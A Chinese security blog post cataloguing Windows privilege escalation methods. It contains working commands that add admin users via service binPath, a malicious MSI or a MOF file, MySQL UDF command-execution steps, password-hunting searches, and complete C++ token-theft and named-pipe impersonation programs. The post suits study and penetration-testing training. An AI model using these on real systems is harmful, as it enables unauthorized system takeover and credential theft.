常见的Windows提权方法

目录

1、无引号提权路径(Trusted Service Paths)

2、易受到攻击的服务(Vulnerable Services)

3、AlwaysInstallElevated(始终安装高架)

4、信息泄露

5、基于资源的域约束性委派利用

6、POTATO家族

7、MySQL下的提权技术

MOF提权

UDF提权

启动项提权

8、命令管道提权

9、令牌窃取

10、常见Windows的提权CVE


1、无引号提权路径(Trusted Service Paths)

原理:利用服务启动时检索程序,程序末尾有空格且没有引号闭合,会以一定方式检索下面的程序,从而可以利用在检索下面目录中加入恶意程序达到提权目的。——被动等待(反弹shell)

提权步骤:

1、用命令搜索无引号的服务路径:

vmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

2、自己分组:whoami /all

3、查看无引号路径权限:icacls 【路径】

4、用工具(msf,cs等等)生成反弹shell程序上传到对应路径下

**注意:如果程序放在此路径下长时间不与SCM(service controller Manager)通信会程序会被终止,所以在拿到权限后应该进行进程迁移

5、进程迁移方法:使用msf;在meterpreter中用ps查看进程号然后migrate PID

防御:

进入注册表修改窗口。在HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 路径下找到存在漏洞的的服务,修改ImagePath,把路径前后加上引号。

2、易受到攻击的服务(Vulnerable Services)

易受到攻击的服务有两种:一是替换二进制服务文件;二是修改服务属性(需要用到accesschk.exe工具)

替换二进制文件原理:

  • 对存放服务二进制文件的目录有修改权,将恶意的二进制程序替换原有的二进制文件。

替换二进制文件方法:

  • 和Trusted Service Paths差不多

修改服务属性原理:

  • 修改BINARY_PATH_NAME属性,通过设置它的值为系统命令,重启服务时系统命令会被执行

修改服务属性条件:

需要以下一种权限才能修改:

  • SERVICE_ALL_ACCESS
  • SERVICE_CHANGE_CONFIG
  • WRITE_DAC
  • WRITE_OWNER
  • GENERIC_WRITE
  • GENERIC_ALL

工具accesschk.exe:

利用:

对Spooler服务有service_all_access权限,我们就可以这样做。通过修改其binPath为恶意指令,然后等待管理员重启服务,我们的恶意指令就会被执行。

输入命令:

sc config spooler binPath= "net user emxiai 12345 /add" #执行恶意命令
net user #查看用户

3、AlwaysInstallElevated(始终安装高架)

如果Windows启用注册表项:

  • [HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
  • [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

那么所有msi(windows应用安装程序)都会以SYSTEM权限运行。此时如果我们执行一个恶意msi程序,即达到提权目的。

同时注意,这个注册表项不一定总是存在的。可以通过reg query来验证这两条注册表项的情况:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

若均为1,我们就可以通过msfvenom生成恶意msi来提权,执行获得一个管理员账户:

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

4、信息泄露

Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml 存在着一定信息泄露,他们通常存在于以下路径:

  • C:\Windows\Panther\
  • C:\Windows\Panther\Unattend\
  • C:\Windows\System32\
  • C:\Windows\System32\sysprep\

找到后,找到 Unattend.xml 文件中的标签。就有可能找到用户的加密后的密码。

如下:

UEBzc3dvcmQxMjMhUGFzc3dvcmQ= //PASSWORD

false</PlainText></p> <p></Password></p> <p><Description>Local Administrator</Description></p> <p><DisplayName>Administrator</DisplayName></p> <p><Group>Administrators</Group></p> <p><Name>Administrator</Name></p> <p></LocalAccount></p> <p></LocalAccounts></p> <p></UserAccounts></p> <p>一些查询敏感文件的命令:</p> <pre><code>C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr \*password\* reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s</code></pre> <blockquote> <h2 id="5%E3%80%81%E5%9F%BA%E4%BA%8E%E8%B5%84%E6%BA%90%E7%9A%84%E5%9F%9F%E7%BA%A6%E6%9D%9F%E6%80%A7%E5%A7%94%E6%B4%BE%E5%88%A9%E7%94%A8">5、基于资源的域约束性委派利用</h2> </blockquote> <p>原理</p> <p>1.S4U2SELF协议可以在用户没有配置 TrustedToAuthenticationForDelegation 属性(即开启使用任何协议认证的约束性委派)时被调用,但是返回的ST是不可被转发的。</p> <p>2.基于资源的约束性委派主机 在被另一台主机委派访问时,在S4U2PROXY过程中提交过来的ST如果即使是不可转发的。KDC依旧会返回有效的ST2。</p> <p>3.每个普通域用户默认可以创建至多十个机器账户( 由MachineAccountQuota属性决定 ),每个机器账户被创建时都会自动注册SPN: RestrictedKrbHost/domain和HOST/domain这两个SPN</p> <p>攻击流程</p> <p>假设开启基于资源的约束性委派机器为A</p> <p>1.首先要有一个对当前计算机有写权限的账户,才能对A设置可以 被 委派访问的服务账户。</p> <p>2.利用当前账户创建一个机器账户,并配置好机器账户到A的 基于资源的约束性委派</p> <p>3.因为机器账户是我们创建的,我们知道他的密码账户,可以让它利用S4U2SELF协议获得一个不可转发ST。然后用这个不可转发ST通过S4U2PROXY,在基于资源的约束性委派基础上获得有效的访问A cifs服务的ST2。</p> <p>4.用ST2访问A的CIFS服务,权限获得。</p> <blockquote> <h2 id="6%E3%80%81POTATO%E5%AE%B6%E6%97%8F">6、POTATO家族</h2> </blockquote> <p>热土豆提权(hot potato)。</p> <p>提权步骤流程:</p> <ul> <li>1、本地NBNS服务欺骗</li> <li>2、WPAD劫持</li> <li>3、HTTP->SMB 的 NTLM relay</li> </ul> <p>本地NBNS服务欺骗</p> <p>Windows域名解析:本地host文件->dns查询->NBNS或者LLMNR查询;在不是管理员的情况下,我们能事先知道被欺骗主机需要的访问的主机IP,就可以伪造一个NBNS查询服务,让靶机访问,这样就能获取到信息就能达到目地,同时NBNS服务有个特征码,请求包和回应包的内容一致,可以根据发送65535个包进行爆破</p> <p>WPAD劫持</p> <p>当NBNS欺骗后就能可以劫持到域名,把自己伪造称WPAD并返回自动义的PAC文件。</p> <p>RELAY</p> <p>现在SMB->SMB的relay很少用到,微软禁用同协议的NTLM认证 ,成功率很低。但HTTP->SMB的relay还有。HOT POTATO就是利用它。</p> <p>我们可以把主机发出的HTTP请求重定向到我们自定义的网页Web_A,而网页Web_A需要NTLM认证,可以进行HTTP->SMB的relay。当HTTP请求来自于高权限的账户时,例如是来自windows 更新服务的请求,命令就会以”NT AUTHORITY\SYSTEM”权限运行。</p> <p>HOT POTATO 根据Windows版本的不同,需要等待高权限用户NTLM认证来到的时间也不同。一般来说,WIN7是瞬间可以提权,但是Windows Server 2012 R2,Windows Server 2012,Windows 8.1,Windows 8有一个自动更新机制,会每天下载证书信任列表(CTLs)etc。</p> <blockquote> <h2 id="7%E3%80%81MySQL%E4%B8%8B%E7%9A%84%E6%8F%90%E6%9D%83%E6%8A%80%E6%9C%AF">7、MySQL下的提权技术</h2> </blockquote> <h3 id="MOF%E6%8F%90%E6%9D%83">MOF提权</h3> <p>原理:</p> <ul> <li>利用nullevt.mof文件都会在一个特定时间间隔内执行一次,向此文件中添加cmd命令自动执行。</li> </ul> <p>条件:</p> <ul> <li>能够进入数据库进行操作,且MySQL数据库的权限要尽可能的高才有更有利i。同时secure-file-priv要为空(MySQL5.6.34以后的版本都为空)。</li> </ul> <p>伪造的MOF文件:</p> <pre><code>#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; //修改此处 }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };</code></pre> <p>修改上面的cmd部分可以实现以管理员的身份执行各种命令。</p> <h3 id="UDF%E6%8F%90%E6%9D%83">UDF提权</h3> <p>原理:</p> <ul> <li>UDF (user defined function),即用户自定义函数。自定义函数在Windows下是以DLL文件存在于MYSQL的插件文件夹里面的(linux是以os形式)。我们可以自定义一个恶意dll,里面存放着可以执行系统命令的函数。然后交给mysql以数据库权限执行。</li> </ul> <p>条件:</p> <ul> <li>能操作数据库,且数据库权限必须很高(用这个方法得到的权限就是数据库的权限)</li> <li>当 MySQL< 5.1 版本时,将 .dll 文件导入到 c:\windows 或者 c:\windows\system32 目录下。</li> <li>当 MySQL> 5.1 版本时,将 .dll 文件导入到 MySQL Server 5.xx\lib\plugin 目录(lib\plugin目录默认不存在,需自行创建)。</li> </ul> <p>提权步骤:</p> <p>获取dll文件:</p> <ol> <li>sqlmap和msf都有。sqlmap下sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ 就是这个dll文件的编码版本。使用sqlmap下的sqlmap/extra/cloak/cloak.py对其进行解码获得dll文件。</li> <li>python ./cloak.py -d -i ./lib_mysqludf_sys.dll_ #获得dll文件</li> <li>把dll文件放入mysql的插件文件夹,命名为udf.dll。插件文件夹可以通过命令:show variables like "%plugin%"; (/lib/plugin文件夹需要自己创建)</li> <li>把dll放入插件文件夹中:select load_file(‘udf.dll’) into dumpfile “plugin的路径”;</li> <li>提权:create funtion sys_eval returns string soname "udf.dll"; select sys_eval('cmd');</li> </ol> <h3 id="%E5%90%AF%E5%8A%A8%E9%A1%B9%E6%8F%90%E6%9D%83">启动项提权</h3> <p>原理:通过MySQL的高权限,在windows开机启动项的文件夹下放入恶意的vbs或者bat脚本,等待计算机重启,可以使用一些exp让计算机蓝屏。</p> <p>启动项的常见路径:</p> <ul> <li>C:\Users\ASUS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</li> <li>C:\Documents and Settings\All Users\「开始」菜单\程序\启动</li> <li>C:\Users\ASUS\AppData\Roaming\Microsoft\Windows\「开始」菜单\程序\启动</li> </ul> <blockquote> <h2 id="8%E3%80%81%E5%91%BD%E4%BB%A4%E7%AE%A1%E9%81%93%E6%8F%90%E6%9D%83">8、命令管道提权</h2> </blockquote> <p>条件:</p> <ul> <li>Administrator用户才那个提权(提权到system权限),一般用户不能提权到admin用户,因为一般用户没有命令管道 SeImpersonatePrivilege,复制令牌时候会出席那错误</li> </ul> <p>提权方式:</p> <ul> <li>令牌模仿(token impoersonation)</li> </ul> <p>提权过程:</p> <p>该方法技术细节为:以管理员权限创建一个命名管道,再通过创建SYSTEM权限服务,让服务连上命名管道,随后我们通过模拟客户端,获得SYSTEM权限的令牌,随后将其复制,再用复制后的令牌创建新进程(如CMD),新进程的权限即SYSTEM权限。</p> <p>首先是被创建的服务的实现代码,该服务启动后会不断向服务器命名管道建立链接</p> <p>生成好后,是Service.exe</p> <p>代码:</p> <pre><code>#include<Windows.h> #include<iostream> SERVICE_STATUS m_ServiceStatus; SERVICE_STATUS_HANDLE m_ServiceStatusHandle; BOOL bRunning; void WINAPI ServiceMain(DWORD argc, LPTSTR* argv); void WINAPI HandlerFunc(DWORD code); int main() { WCHAR Servicename[] = L"ServiceA"; SERVICE_TABLE_ENTRY Table[] = { {Servicename,ServiceMain},{NULL,NULL} }; StartServiceCtrlDispatcher(Table); } void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) { m_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; m_ServiceStatus.dwWin32ExitCode = 0; m_ServiceStatus.dwServiceSpecificExitCode = 0; m_ServiceStatus.dwCheckPoint = 0; m_ServiceStatus.dwWaitHint = 0; m_ServiceStatusHandle = RegisterServiceCtrlHandler(L"ServiceA", HandlerFunc); m_ServiceStatus.dwCurrentState = SERVICE_RUNNING; m_ServiceStatus.dwCheckPoint = 0; m_ServiceStatus.dwWaitHint = 0; SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus); bRunning = true; while (bRunning) { LPCWSTR PipeName = L"\\\\.\\pipe\\testpipe"; HANDLE PipeHandle=NULL; BOOL PipeInstance; WCHAR message[512] = { 0 }; DWORD bytesWritten = 0; BOOL Flag = true; wchar_t message2[] = L"HELL"; DWORD messageLength = lstrlen(message2) * 2; do { PipeHandle = CreateFile(PipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); } while (PipeHandle == INVALID_HANDLE_VALUE); WriteFile(PipeHandle, &message2, messageLength, &bytesWritten, NULL); Flag = ReadFile(PipeHandle, &message, 512, &bytesWritten, NULL); std::cout << "Message:" << message << std::endl; } } void WINAPI HandlerFunc(DWORD code) { switch (code) { case SERVICE_CONTROL_PAUSE: m_ServiceStatus.dwCurrentState = SERVICE_PAUSED; break; case SERVICE_CONTROL_CONTINUE: m_ServiceStatus.dwCurrentState = SERVICE_RUNNING; break; case SERVICE_CONTROL_STOP: m_ServiceStatus.dwWin32ExitCode = 0; m_ServiceStatus.dwCurrentState = SERVICE_STOPPED; m_ServiceStatus.dwCheckPoint = 0; m_ServiceStatus.dwWaitHint = 0; SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus); bRunning = false; break; case SERVICE_CONTROL_INTERROGATE: break; } } </code></pre> <p> ##下面是主体,命名管道服务器。生成后是Server.exe</p> <pre><code> #include<Windows.h> #include<iostream> int main() { LPCWSTR pipeName = L"\\\\.\\pipe\\testpipe"; LPVOID pipeBuffer = NULL; HANDLE serverPipe; DWORD readBytes = 0; DWORD readBuffer = 0; int err = 0; BOOL isPipeConnected; BOOL isPipeOpen; wchar_t message[] = L"HELL"; DWORD messageLenght = lstrlen(message) * 2; DWORD bytesWritten = 0; WCHAR message2[512] = { 0 }; //Open a Named Pipe,Wait for a connection std::wcout << "Creating named pipe " << pipeName << std::endl; serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL); //Create a service of system to connect to our NamedPipe. char servicename[] = "Service.exe"; char servicepath[_MAX_PATH]; SERVICE_STATUS status; GetModuleFileNameA(LoadLibraryA(servicename), servicepath, sizeof(servicepath)); SC_HANDLE scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if (GetLastError() == 0) { } else { std::cout << "ERROR OpenSCManager:" << GetLastError() << std::endl; } SC_HANDLE scService = CreateServiceA(scManager, servicename, servicename, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, servicepath, NULL, NULL, NULL, NULL, NULL); if (!scService) { if (GetLastError() == 1073) { std::cout << "The Service has been exsisted" << std::endl; } else { std::cout << "ERROR CreateServiceA:" << GetLastError() << std::endl; } } SC_HANDLE scServiceA = OpenServiceA(scManager, servicename, SERVICE_ALL_ACCESS); if (StartService(scServiceA, 0, NULL)) { std::cout<<"service Start success"<<std::endl; } else { if (GetLastError() == 1056) { std::cout << "service is running,don't need to start again" << std::endl; } } //Connect ! isPipeConnected = ConnectNamedPipe(serverPipe, NULL); if (isPipeConnected) { std::wcout << "Incoming connection to " << pipeName << std::endl; ReadFile(serverPipe, &message2, 512, &bytesWritten, NULL); std::cout << message2; } else { std::cout << "Does not connected Error: "<<GetLastError() << std::endl; } std::wcout << "Sending message: " << message << std::endl; WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL); //Toekn Impersonation std::wcout << "Impersonating the client..." << std::endl; if (!ImpersonateNamedPipeClient(serverPipe)) { std::cout<<"ImpersonateNamedPipeClient ERROR: "<<GetLastError()<<std::endl; } else { std::cout << "ImpersonateNamedPipeClient success" << std::endl; } STARTUPINFOA si; PROCESS_INFORMATION pi = {}; ZeroMemory(&pi, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); HANDLE token; if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) { std::cout << "GetCurrentThread ERROR:" << GetLastError() << std::endl; } CHAR command1[] = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"; WCHAR command2[] = L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"; HANDLE Token; if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenImpersonation,&Token)) { std::cout << "DuplicateTokenEx ERROR:" << GetLastError() << std::endl; } else { std::cout << "Impersonate completed" << std::endl; } if (!CreateProcessAsUserA(token, NULL, command1, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { std::cout << "CreateProcessAsUserA ERROR:" << GetLastError() <<" Now Use CreateProcessWithTokenW"<< std::endl; if (!CreateProcessWithTokenW(token, LOGON_NETCREDENTIALS_ONLY, NULL, command2, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) { std::cout << "CreateProcessWithTokenW ERROR:" << GetLastError() << std::endl; } else { std::cout << "CreateProcessWithTokenW success" << std::endl; } } else { std::cout << "CreateProcessWithTokenW success" << std::endl; } while(1){} }</code></pre> <p> </p> <p>我们生成了Service.exe,然后把他移到Server.exe同级目录,以管理员权限运行Server.exe,即可达到admin -> system的提权。</p> <blockquote> <h2 id="9%E3%80%81%E4%BB%A4%E7%89%8C%E7%AA%83%E5%8F%96">9、令牌窃取</h2> </blockquote> <p>原理:</p> <p>system->本机上其他用户(包括域用户)(只要本机有system权限,域管在本机上创建进程就直接能拿到域管权限)或者admin获取debug权限后去获取system权限(注意:只有owner为administrator的system进程才能被利用,比如lsass,dllhost)</p> <p>技术细节:通过寻找高权限开启的进程,再复制其令牌用以创建新进程,即可达到提权目的</p> <p>脚本:</p> <pre><code>#include <iostream> #include <Windows.h> //Only administrator can get debug priv BOOL GetDebugPriv() { HANDLE Token; TOKEN_PRIVILEGES tp; LUID Luid; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token)) { std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl; return false; } tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) { std::cout << "LookupPrivilegeValue ERROR" << GetLastError() << std::endl; return false; } tp.Privileges[0].Luid = Luid; if (!AdjustTokenPrivileges(Token, FALSE, &tp, sizeof(tp), NULL, NULL) ){ std::cout << "AdjustTokenPrivileges ERROR" << GetLastError() << std::endl; return false; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { return false; } else { return true; } } int main(int argc, char* argv[]) { HANDLE t_process; HANDLE token = NULL; HANDLE token_bak = NULL; DWORD process_id; sscanf_s(argv[1], "%ul", &process_id); WCHAR command[] = L"C:\\Windows\\System32\\cmd.exe"; STARTUPINFO startupInfo; PROCESS_INFORMATION processInformation; ZeroMemory(&startupInfo, sizeof(STARTUPINFO)); ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION)); startupInfo.cb = sizeof(STARTUPINFO); std::cout << argv[1] << std::endl; std::cout << "Openning process PID:" << process_id << std::endl; if (GetDebugPriv()== TRUE) { std::cout << "Got the debug priv" << std::endl; } else { std::cout << "GetDebugPriv ERROR" << std::endl; } system("whoami /priv"); t_process = OpenProcess(PROCESS_ALL_ACCESS, true, process_id); if (!t_process) { std::cout << "OpenProcess ERROR" << GetLastError() << std::endl; } if (!OpenProcessToken(t_process, TOKEN_ALL_ACCESS, &token)) { std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl; } if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &token_bak)) { std::cout << "DuplicateTokenEx ERROR" << GetLastError() << std::endl; } if (!CreateProcessWithTokenW(token_bak, LOGON_WITH_PROFILE, NULL, command, 0, NULL, NULL, &startupInfo, &processInformation)) { std::cout << "CreateProcessWithTokenW ERROR" << GetLastError() << std::endl; } return 0; }</code></pre> <blockquote> <h2 id="10%E3%80%81%E5%B8%B8%E8%A7%81Windows%E7%9A%84%E6%8F%90%E6%9D%83CVE">10、常见Windows的提权CVE</h2> </blockquote> <p>链接:https://github.com/SecWiki/windows-kernel-exploits</p> <p></p> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1527929279260684288"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(windows,渗透测试,mysql)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1881194556167352320.htm" title="MySQL 核心知识全面解析:从事务到索引的深度探索" target="_blank">MySQL 核心知识全面解析:从事务到索引的深度探索</a> <span class="text-muted">guihong004</span> <a class="tag" taget="_blank" href="/search/java%E9%9D%A2%E8%AF%95%E9%A2%98/1.htm">java面试题</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a> <div>1.事务隔离级别有哪些?MySQL的默认隔离级别是?事务隔离级别是数据库系统中用于控制不同事务之间的交互和可见性的机制。SQL标准定义了四个隔离级别,按照从低到高的顺序分别是:读未提交(ReadUncommitted):在这个级别,一个事务可以读取另一个尚未提交的事务的数据更改。这会导致脏读(DirtyRead),即读取到未提交的数据。读已提交(ReadCommitted):这个级别确保一个事务只</div> </li> <li><a href="/article/1881187743967539200.htm" title="Mysql8 MHA(1)" target="_blank">Mysql8 MHA(1)</a> <span class="text-muted">秒变学霸的18岁码农</span> <a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>简介:1、MHA简介MHA介绍MHA(MasterHighAvailability)目前在MySQL高可用方面是一个相对成熟的解决方案,它由日本DeNA公司youshimaton(现就职于Facebook公司)开发,是一套优秀的作为MySQL高可用性环境下故障切换和主从提升的高可用软件。在MySQL故障切换过程中,MHA能做到在0~30秒之内自动完成数据库的故障切换操作,并且在进行故障切换的过程中</div> </li> <li><a href="/article/1881187745964027904.htm" title="Mysql8 MHA(完结)" target="_blank">Mysql8 MHA(完结)</a> <span class="text-muted">秒变学霸的18岁码农</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>3、故障切换演练3.1failover切换演练场景一、自动failover,主从正常,从IO,SQL进程down掉,主库down掉slave01停止IO、SQL线程模拟主库down机3.1.1slave01停止复制Mysql>stopreplica;3.1.2主库down机Pkill-9mysqld3.1.3观察maanger日志Master172.16.134.24(172.16.134.24:</div> </li> <li><a href="/article/1881185723575496704.htm" title="解锁新技能:Windows Forms与ASP.NET API的梦幻联动" target="_blank">解锁新技能:Windows Forms与ASP.NET API的梦幻联动</a> <span class="text-muted">步、步、为营</span> <a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/asp.net/1.htm">asp.net</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a> <div>一、开篇引入嘿,各位开发小伙伴们!在日常开发的“战场”上,我们常常会遭遇一个棘手的难题:如何让前端应用与后端服务实现高效且稳定的交互呢?特别是在使用WindowsForms构建桌面应用程序时,这个问题尤为突出。想象一下,你精心打造了一个功能强大的WindowsForms应用,满心期待它能与后端的ASP.NETAPI顺畅“对话”,实现数据的实时获取与更新,为用户带来绝佳的体验。但现实却可能给你泼一盆</div> </li> <li><a href="/article/1881175370028347392.htm" title="python 删除文件-python实现删除文件与目录的方法" target="_blank">python 删除文件-python实现删除文件与目录的方法</a> <span class="text-muted">weixin_39876282</span> <div>本文实例讲述了python实现删除文件与目录的方法。分享给大家供大家参考。具体实现方法如下:os.remove(path)删除文件path.如果path是一个目录,抛出OSError错误。如果要删除目录,请使用rmdir().remove()同unlink()的功能是一样的在Windows系统中,删除一个正在使用的文件,将抛出异常。在Unix中,目录表中的记录被删除,但文件的存储还在。os.rem</div> </li> <li><a href="/article/1881172724785672192.htm" title="学生作业-学生选课系统,后端SpringBoot + maven,前端vue。涉及管理员、学生和教师三个角色。教师可设置课程信息以及学生成绩录入;学生可选课和查看成绩。源码中包含MySQ数据表sql。" target="_blank">学生作业-学生选课系统,后端SpringBoot + maven,前端vue。涉及管理员、学生和教师三个角色。教师可设置课程信息以及学生成绩录入;学生可选课和查看成绩。源码中包含MySQ数据表sql。</a> <span class="text-muted">程序员WANG</span> <a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/boot/1.htm">boot</a> <div>1、学生作业-学生选课系统,后端SpringBoot+maven,前端vue。涉及管理员、学生和教师三个角色。教师可设置课程信息以及学生成绩录入;学生可选课和查看成绩。2、源码中包含数据表,sql文件,mysql数据库,可一键导入。3、管理员账号和密码root、root;学生和教师的账号请查看数据表,密码均为123456。4、Management是后端代码,vue是前端vue代码,按照正常启动(v</div> </li> <li><a href="/article/1881172472653475840.htm" title="minio免费文件管理器(windows版本),若依RuoYi-Vue-Plus框架使用,有需要的可以下载,因为官网下载特别慢" target="_blank">minio免费文件管理器(windows版本),若依RuoYi-Vue-Plus框架使用,有需要的可以下载,因为官网下载特别慢</a> <span class="text-muted">程序员WANG</span> <a class="tag" taget="_blank" href="/search/%E5%B7%A5%E5%85%B7/1.htm">工具</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/%E5%AE%B9%E5%99%A8/1.htm">容器</a> <div>MinIO是一款开源的对象存储系统,它提供类似AmazonS3的云存储服务,适用于各种规模的企业。MinIO设计为高性能、安全且易于使用,适合存储大量的非结构化数据,如图片、文档、视频以及大数据分析中的日志文件等。在本案例中,我们关注的是Windows版本的MinIO,它被集成到了若依RuoYi-Vue-Plus框架中,以实现文件管理功能。若依RuoYi-Vue-Plus是一个基于Vue.js的现</div> </li> <li><a href="/article/1881164147148779520.htm" title="如何切换npm到淘宝的最新镜像源?" target="_blank">如何切换npm到淘宝的最新镜像源?</a> <span class="text-muted">cesske</span> <a class="tag" taget="_blank" href="/search/npm/1.htm">npm</a> <div>目录前言一、查看当前npm镜像源二、切换到淘宝镜像源三、验证是否成功切换四、其他注意事项总结前言要切换npm到淘宝的最新镜像源,您可以按照以下步骤操作:一、查看当前npm镜像源在更改npm镜像源之前,首先需要查看当前npm正在使用的镜像源地址。您可以通过在命令行(如Windows的CMD、PowerShell或Linux/macOS的Terminal)中输入以下命令来查看:npmconfigget</div> </li> <li><a href="/article/1881161995365969920.htm" title="MySQL:报错1130-host ... is not allowed to connect to this MySql server" target="_blank">MySQL:报错1130-host ... is not allowed to connect to this MySql server</a> <span class="text-muted">m0_74824823</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/adb/1.htm">adb</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>报错:1130-host…isnotallowedtoconnecttothisMySqlserver1、改表法可能是你的帐号不允许从远程登陆,只能在localhost。这个时候只要在localhost的那台电脑,登入mysql后,更改“mysql”数据库里的“user”表里的“host”项,从"localhost"改称"%"mysql-uroot-pvmwaremysql>usemysql;my</div> </li> <li><a href="/article/1881157962689474560.htm" title="Android实战技巧之五十:App的系统签名" target="_blank">Android实战技巧之五十:App的系统签名</a> <span class="text-muted">全速前行</span> <a class="tag" taget="_blank" href="/search/Android/1.htm">Android</a><a class="tag" taget="_blank" href="/search/Android%E5%AE%9E%E6%88%98%E6%8A%80%E5%B7%A7/1.htm">Android实战技巧</a><a class="tag" taget="_blank" href="/search/%E7%B3%BB%E7%BB%9F%E7%AD%BE%E5%90%8D/1.htm">系统签名</a><a class="tag" taget="_blank" href="/search/sign/1.htm">sign</a> <div>这件事困扰我们多时了。我们一直想用非源码编译的方式解决此事,按如下步骤。这种获取系统签名的方法如下:1、apk中需要使用android:sharedUserId=”android.uid.system”这个属性。在Manifest文件修改,如下:2、将app做无签名编译(AndroidStudio)用命令行编译Windows:gradlew.batassembleReleaseMac/linux:</div> </li> <li><a href="/article/1881146616530923520.htm" title="MySQL 可视化工具" target="_blank">MySQL 可视化工具</a> <span class="text-muted">2301_78094384</span> <a class="tag" taget="_blank" href="/search/%E5%B7%A5%E5%85%B7/1.htm">工具</a><a class="tag" taget="_blank" 